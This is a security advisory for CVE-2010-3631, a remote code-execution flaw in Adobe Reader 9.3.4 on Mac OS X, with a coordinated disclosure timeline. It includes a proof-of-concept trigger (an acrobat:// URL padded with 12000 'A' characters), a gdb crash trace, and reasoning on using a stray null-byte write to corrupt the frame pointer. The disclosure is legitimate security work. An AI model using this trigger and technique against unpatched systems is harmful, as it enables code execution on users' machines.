|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73  |   nSense Vulnerability Research Security Advisory NSENSE-2010-001  ---------------------------------------------------------------  Affected Vendor:Adobe  Affected Product: Adobe Reader 9.3.4 for Macintosh  Platform: OS X  Impact: User assisted code execution  Vendor response:Patch  Credit: Knud / nSense  Description: Adobe Acrobat and Reader are prone to a remote code-execution vulnerability.Attackers can exploit this issue to execute arbitrary code in the context of the user running the affected application.Adobe Reader and Acrobat versions prior to and including 9.3.4 and 8.2.4 are affected.  NOTE: This issue only affects Adobe Reader and Acrobat running on Apple Mac OS X   Technical details  ---------------------------------------------------------------  terminal 1:  $ gdb --waitfor=AdobeReader  terminal 2:  $ open acrobat://<code>perl -e 'print "A" x 12000'  terminal 1:  (gdb) cont  [snip]  Program received signal EXC_BAD_ACCESS, Could not access memory.  Reason: KERN_INVALID_ADDRESS at address: 0xc00013d2  0x7ffa0d6a in AcroBundleThreadQuitProc ()  (gdb) set disassembly-flavor intel  (gdb) x/i $pc  0x7ffa0d6a <AcroBundleThreadQuitProc+2608>: movBYTE PTR  [ebp+eax-0x420],0x0  (gdb) i r ebp eax  ebp0xbfffe908 0xbfffe908  eax0x2eea 12010  (gdb)  As can be seen from the above, we control the value in eax (in  this case 12010, the length of the acrobat:// + the 12000 A's).  This allows us to write the null byte anywhere in memory between  ebp-0x420 (0xBFFFE4E8) and the end of the stack.  The behaviour may be leveraged to modify the frame pointer,  changing the execution flow and thus permitting arbitrary code  execution in the context of the user running the program.  Timeline:  Aug 10th Contacted vendor PSIRT  Aug 10th Vendor response. Vulnerability reproduced.  Aug 16th Status update request sent to vendor  Aug 17th Vendor response, still investigating  Sep 2ndStatus update request sent to vendor  Sep 3rdVendor response. Working on fix  Sep 22nd Contacted vendor regarding patch date  Sep 22nd Vendor response. Confirmed patch date.  Sep 23rd Corrected researcher name  Oct 1stVendor sent CVE identifier CVE-2010-3631  Oct 5thVendor releases the patch  Oct 6thAdvisory published  http://www.nsense.fi http://www.nsense.dk  $$s$$$$s. ,s$$$$s ,S$$$$$s.$$s$$$$s. ,s$$$$s ,S$$$$$s.  $$$<code>$$$($$( $$$</code>$$$$$$<code>$$$($$( $$$</code>$$$  $$$ $$$<code>^$$s. $$$$$$$$$$$$ $$$</code>^$$s. $$$$$$$$$  $$$ $$$ )$$)$$$$$$ $$$ )$$)$$$  $$$ $$$^$$$$$$7<code>7$$$$$P$$$ $$$^$$$$$$7 </code>7$$$$$P D r i v e n b y t h e c h a l l e n g e _  |